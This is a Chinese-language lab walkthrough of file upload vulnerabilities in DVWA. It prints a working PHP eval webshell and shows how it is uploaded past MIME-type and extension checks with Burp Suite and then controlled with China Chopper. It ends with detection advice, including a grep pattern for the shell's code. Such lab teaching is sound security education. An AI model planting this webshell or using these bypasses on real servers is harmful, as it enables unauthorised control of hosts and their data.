一、文件上传漏洞
1.1 概述
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
1.2 准备阶段
- 安装虚拟机
VMware Workstation Pro
,虚拟机上安装靶机OWASP Broken Web Applications和攻击机Kali Linux。 - 使用的软件:中国菜刀 和 burpsuite
使用木马shell1.php
:
<?php @eval($_POST['chopper']);?>
1.3 选择攻击网页
- 进入
OWASPBWA
提供的网站
在进入OWASPBWA
系统后,会提供给用户和一个PI地址(网址)。将其复制到自己的浏览上。
- 找到Damn Vulnerable Web Application并进入,登陆账户和密码形同,都为:madin
登陆成功的页面:
1.4 攻击过程
1.4.1 安全级别
查看源码:
- 初级
只是简单的文件上传操作,没有对上传的文件进行任何的要求和规范。
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
-
中级
对文件的MIME和大小进行要求。
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000))
-
高级
对文件的文件后缀名及后缀进行要求
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000))
1.4.2攻击过程
-
初级
在初级安全模式下上传
shell1.php
并得到其地址(在其网站后面加上文件路径:http://192.168.159.129/dvwa/hackable/uploads/shell1.php),把此地址复制到中国菜刀上,通过此软件可直接访问到网站主机,并且可以对主机上的资源随意进行下载和删除。 -
中级
首先需要Kali上的burpsuite开启代理服务器并开启代理拦截功能,选择文件并上传
shell1.php
,后在burpsuite上的拦截页面更改上传文件MIME的类型为"image/jpeg"
。之后操作和在初级安全模式下相同。可以对主机上的资源随意进行下载和删除。 -
高级
和中级安全模式类似,更改上传文件后缀名为
“jpg”
。但是只能通过中国菜刀浏览网站主机的部分资源文件且不能下载和删除。
1.5防御办法
-
检测上传文件后缀
-
在前端部署
WB
应用防火墙,检测文件内是否存在"eval($_POST"
等这些标记 -
直接检查网站目录内是否含有
"eval($_POST"
关键字。检查命令:
fgrep -R'eval($_POST' /var/www/dvwa